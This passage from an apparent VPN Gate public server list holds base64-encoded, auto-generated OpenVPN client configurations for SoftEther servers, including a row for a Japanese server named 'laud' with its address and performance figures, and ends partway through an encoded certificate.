QoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +laud,115.179.206.241,843135,28,106246139,Japan,JP,92,181947195,1164383,163740832005522,2weeks,Japan VPN,こんにちは! Hello! Здравствуйте! 你好! سلام (^_^)/,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTUuMTc5LjIwNi4yNDEgNDQzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHW